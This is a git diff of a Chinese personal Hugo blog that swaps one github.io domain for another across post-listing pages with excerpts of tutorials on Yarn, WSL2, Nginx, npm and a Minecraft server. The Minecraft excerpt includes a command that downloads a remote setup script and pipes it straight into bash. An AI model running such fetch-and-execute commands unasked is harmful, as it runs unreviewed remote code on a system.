id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a></div><h1>Posts</h1></header><article class=post-entry><header class=entry-header><h2>Yarn包管理工具的简单使用</h2></header><div class=entry-content><p>Yarn 是一款新的 JavaScript 包管理工具，和npm对比就是速度快，保持一致性，安全
+<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>Posts | 小陈的个人博客</title><meta name=keywords content><meta name=description content="Posts - 小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/posts/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://chenjunlinabc.github.io/posts/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="Posts"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://chenjunlinabc.github.io/posts/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="Posts"><meta name=twitter:description content="小陈的个人博客"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://chenjunlinabc.github.io/posts/"}]}</script></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a></div><h1>Posts</h1></header><article class=post-entry><header class=entry-header><h2>Yarn包管理工具的简单使用</h2></header><div class=entry-content><p>Yarn 是一款新的 JavaScript 包管理工具，和npm对比就是速度快，保持一致性，安全
 速度快是因为yarn是并行执行任务，而不是npm那样排队列执行package，而且yarn还可以提供缓存，如果安装过一次package，使用yarn再次安装就会从缓存中获取，而不用再下载一次
 保持一致性：yarn提供了一个lockfile文件来记录要安装的package的版本号，锁定其版本不会出现错误，会生成yarn.lock文件来记录其package的版本号，就连依赖包的版本号都会被记录
 安全：yarn会在每个package被执行时校验其完整性
@@ -30,7 +30,7 @@
 更新包到指定版本
 yarn upgrade 包名@版本号
 更新包到最新版本
-yarn upgrade –latest 包名...</p></div><footer class=entry-footer><span title='2021-06-16 22:55:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Yarn包管理工具的简单使用" href=https://xiaochenabc123.github.io/posts/38/></a></article><article class=post-entry><header class=entry-header><h2>wsl2-windows子系统简单配置</h2></header><div class=entry-content><p>wsl全称Windows Subsystem for Linux
+yarn upgrade –latest 包名...</p></div><footer class=entry-footer><span title='2021-06-16 22:55:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Yarn包管理工具的简单使用" href=https://chenjunlinabc.github.io/posts/38/></a></article><article class=post-entry><header class=entry-header><h2>wsl2-windows子系统简单配置</h2></header><div class=entry-content><p>wsl全称Windows Subsystem for Linux
 打开启动或关闭windows功能，选择虚拟机平台，安装完毕功能，重启
 打开Windows Power Shell，输入
 启用 wsl
@@ -56,36 +56,22 @@
 wsl –install
 查看可用的Linux发行版
 wsl –list –online
-或者...</p></div><footer class=entry-footer><span title='2021-06-16 17:43:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to wsl2-windows子系统简单配置" href=https://xiaochenabc123.github.io/posts/35/></a></article><article class=post-entry><header class=entry-header><h2>Nginx服务器的一些简单配置</h2></header><div class=entry-content><p>配置ssl证书
+或者...</p></div><footer class=entry-footer><span title='2021-06-16 17:43:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to wsl2-windows子系统简单配置" href=https://chenjunlinabc.github.io/posts/35/></a></article><article class=post-entry><header class=entry-header><h2>Nginx服务器的一些简单配置</h2></header><div class=entry-content><p>配置ssl证书
 前提是已经申请到ssl证书,并且开放443端口
 编辑nginx.conf
 将443那几行的注释去掉（#）,并且修改
 ssl_certificate “crt证书的绝对路径”; ssl_certificate_key"key证书的绝对路径";
 如果想访问网站就301重定向到https，那么添加这几行
-server{
-listen 80;
-server_name xiaochenabc123.test.com;
-rewrite ^(.*) https://$host$1 permanent;
-}
-# 当使用80端口访问网站时，将301永久重定向到https://xiaochenabc123.test.com，达到全站https的效果
+server{ listen 80; server_name xiaochenabc123.test.com; rewrite ^(.*) https://$host$1 permanent; } # 当使用80端口访问网站时，将301永久重定向到https://xiaochenabc123.test.com，达到全站https的效果
 然后刷新一下配置nginx -s
 nginx反向代理配置
 将客户端请求转发给内部网络的其他目标服务端，并且将从其他服务端的结果返回到客户端，代理服务端和目标服务端，在外部看起来像是一个整体，只是将请求转发给其他服务端处理，从而达到减轻目标服务端的压力的效果
 配置nginx.conf
-location / {
-proxy_pass https://test.xiaochenabc123.test.com; # 反向代理服务器地址
-proxy_connect_timeout 200; # 设置连接超时
-proxy_read_timeout 200; # 设置读响应超时
-}
-重启Nginx服务：service nginx restart
+location / { proxy_pass https://test.xiaochenabc123.test.com; # 反向代理服务器地址 proxy_connect_timeout 200; # 设置连接超时 proxy_read_timeout 200; # 设置读响应超时 } 重启Nginx服务：service nginx restart
 请求当前服务器时，当前服务器将请求转发给地址为 https://test.xiaochenabc123.test.com 的服务器处理
 gzip压缩
-gzip on;
-gzip_comp_level 1; gzip_min_length 10;
-gzip_http_version 1.1;
-gzip_types text/html text/plain text/css application/json application/javascript text/xml application/xml application/xml+rss text/javascript;
-解释：
-gzip on // gzip开启，关闭是off...</p></div><footer class=entry-footer><span title='2021-06-16 15:52:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Nginx服务器的一些简单配置" href=https://xiaochenabc123.github.io/posts/34/></a></article><article class=post-entry><header class=entry-header><h2>Linux环境下简单搭建Minecraft服务器（java版）</h2></header><div class=entry-content><p>服务器可以使用国内的，保证延迟低，服务器配置一定要高一点，不然很容易Killed
+gzip on; gzip_comp_level 1; gzip_min_length 10; gzip_http_version 1.1; gzip_types text/html text/plain text/css application/json application/javascript text/xml application/xml application/xml+rss text/javascript; 解释：
+gzip on // gzip开启，关闭是off...</p></div><footer class=entry-footer><span title='2021-06-16 15:52:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Nginx服务器的一些简单配置" href=https://chenjunlinabc.github.io/posts/34/></a></article><article class=post-entry><header class=entry-header><h2>Linux环境下简单搭建Minecraft服务器（java版）</h2></header><div class=entry-content><p>服务器可以使用国内的，保证延迟低，服务器配置一定要高一点，不然很容易Killed
 安装java
 dnf install java-openjdk
 检测java是否安装成功
@@ -113,11 +99,11 @@
 在服务端目录，找到server.properties文件
 修改这个文件，把onlinemode 改为 false
 MCSManager面板
-wget -qO- https://gitee.com/mcsmanager/script/raw/master/setup.sh | bash</p></div><footer class=entry-footer><span title='2021-06-16 15:46:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Linux环境下简单搭建Minecraft服务器（java版）" href=https://xiaochenabc123.github.io/posts/33/></a></article><article class=post-entry><header class=entry-header><h2>node.js包管理工具npm的简单使用</h2></header><div class=entry-content><p>npm是Node.js的默认包管理工具
+wget -qO- https://gitee.com/mcsmanager/script/raw/master/setup.sh | bash</p></div><footer class=entry-footer><span title='2021-06-16 15:46:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Linux环境下简单搭建Minecraft服务器（java版）" href=https://chenjunlinabc.github.io/posts/33/></a></article><article class=post-entry><header class=entry-header><h2>node.js包管理工具npm的简单使用</h2></header><div class=entry-content><p>npm是Node.js的默认包管理工具
 安装npm：安装node.js(一般来说安装nodejs都会安装npm的)
 npm -v 查看npm版本号 node -v 查看node版本号 npm install nmp@latest -g 更新最新nmp，-g全局，没有加-g就是本地安装，或者在@后面加版本号来更新到指定版本的npm npm init -y 初始化 npm i 要安装的依赖 先检查有没有这个东西，有的话就下载下来 npm uninstall 要删除的依赖的名称 npm i 要安装的依赖@版本号 安装指定版本的依赖 npm update 依赖名称 安装最新的依赖或者更新npm npm init -y 使用默认的参数，去掉-y就是手动配置 npm run 对象名 执行脚本,引用package.json中的scripts对象，在对象中添加脚本 npm adduser 注册npm账号 npm publish 发布npm包 npm install 一键安装package.json文件里的所有依赖 npm install –dependencies 只安装package.json里的dependencies的文件 npm install –devDependencies 只安装package.json里的devDependencies文件 会自动将package.json中的模块安装到node-modules文件夹
-升级插件 npm-check-updates使用 npm install -g npm-check-updates 安装npm-check-updates插件 ncu 查看package.json中依赖的最新版本 ncu -u 更新依赖到最新版本 ncu -a 更新全部依赖到最新版本 npm update...</p></div><footer class=entry-footer><span title='2021-06-16 15:05:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to node.js包管理工具npm的简单使用" href=https://xiaochenabc123.github.io/posts/31/></a></article><footer class=page-footer><nav class=pagination><a class=prev href=https://xiaochenabc123.github.io/posts/page/18/>«&nbsp;Prev&nbsp;</a>
-<a class=next href=https://xiaochenabc123.github.io/posts/page/20/>Next&nbsp;&nbsp;»</a></nav></footer></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+升级插件 npm-check-updates使用 npm install -g npm-check-updates 安装npm-check-updates插件 ncu 查看package.json中依赖的最新版本 ncu -u 更新依赖到最新版本 ncu -a 更新全部依赖到最新版本 npm update...</p></div><footer class=entry-footer><span title='2021-06-16 15:05:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to node.js包管理工具npm的简单使用" href=https://chenjunlinabc.github.io/posts/31/></a></article><footer class=page-footer><nav class=pagination><a class=prev href=https://chenjunlinabc.github.io/posts/page/18/>«&nbsp;Prev&nbsp;</a>
+<a class=next href=https://chenjunlinabc.github.io/posts/page/20/>Next&nbsp;&nbsp;»</a></nav></footer></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script></body></html>
\ No newline at end of file
diff --git a/posts/page/2/index.html b/posts/page/2/index.html
index 7e217bb7..929671ed 100644
--- a/posts/page/2/index.html
+++ b/posts/page/2/index.html
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>Posts | 小陈的个人博客</title><meta name=keywords content><meta name=description content="Posts - 小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/posts/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://xiaochenabc123.github.io/posts/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="Posts"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://xiaochenabc123.github.io/posts/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="Posts"><meta name=twitter:description content="小陈的个人博客"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://xiaochenabc123.github.io/posts/"}]}</script></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a></div><h1>Posts</h1></header><article class=post-entry><header class=entry-header><h2>计算机网络学习笔记</h2></header><div class=entry-content><p>计算机网络是通用，可编程的硬件组成的，并且这些设备可互连，并且可以传输不同类型的数据
+<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>Posts | 小陈的个人博客</title><meta name=keywords content><meta name=description content="Posts - 小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/posts/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://chenjunlinabc.github.io/posts/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="Posts"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://chenjunlinabc.github.io/posts/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="Posts"><meta name=twitter:description content="小陈的个人博客"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://chenjunlinabc.github.io/posts/"}]}</script></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a></div><h1>Posts</h1></header><article class=post-entry><header class=entry-header><h2>计算机网络学习笔记</h2></header><div class=entry-content><p>计算机网络是通用，可编程的硬件组成的，并且这些设备可互连，并且可以传输不同类型的数据
 计算机网络不是只有软件概念，还有硬件设备，例如：网卡，网线，路由器等等
 网络作用范围：广域网（WAN），城域网（MAN），局域网（LAN）
 计算机网络发展历史
@@ -60,7 +60,7 @@
 虚拟互连网络（物理网络复杂，使用IP协议时，将无需关心物理网络的差异）
 网络层利用IP协议来将使用IP协议的计算机连接起来，就好像这些计算机只需要连接一个虚拟互连网络一样，无需关心底层经过了哪些网关，路由器，ISP等等，将专注于数据的转发工作
 IP协议
